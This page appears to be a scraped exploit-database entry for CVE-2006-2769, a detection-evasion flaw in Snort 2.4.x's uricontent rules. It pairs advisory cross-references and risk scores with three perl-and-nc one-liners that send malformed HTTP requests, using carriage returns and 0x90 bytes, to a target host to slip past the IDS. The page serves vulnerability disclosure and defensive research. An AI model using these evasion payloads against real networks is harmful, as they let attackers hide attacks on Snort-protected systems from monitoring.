Snort 2.4.x - URIContent Rules Detection Evasion
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2006-2769 | 2 Jun 200610:00 | – | cve |
 | CVE-2006-2769 | 2 Jun 200610:00 | – | cvelist |
 | CVE-2006-2769 | 2 Jun 200610:00 | – | debiancve |
 | CVE-2006-2769 | 2 Jun 200610:18 | – | nvd |
 | Design/Logic Flaw | 2 Jun 200610:18 | – | prion |
 | SuSE9 Security Update : snort (YOU Patch Number 11055) | 24 Sep 200900:00 | – | nessus |
| openSUSE 10 Security Update : snort (snort-1598) | 17 Oct 200700:00 | – | nessus |
 | SUSE CVE-2006-2769 | 15 Feb 202306:15 | – | susecve |
 | CVE-2006-2769 | 2 Jun 200610:18 | – | ubuntucve |
source: https://www.securityfocus.com/bid/18200/info
Snort is reportedly prone to a vulnerability that may allow malicious packets to bypass detection.
A successful attack can allow attackers to bypass intrusion detection and to carry out attacks against computers protected by Snort.
This vulnerability affects Snort 2.4.4. Other versions may be vulnerable as well.
perl -e'print "GET /www.example.com?paramter=|backdoor\r http/1.0\r\n\r\n"'|nc vulnerable.server 80
perl -e 'print "GET \x90\x90\x0d http/1.0\r\n\r\n"'|nc 192.168.1.3 80
perl -e 'print "GET \x0d/index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 192.168.1.3 80Data
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29 Aug 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.10813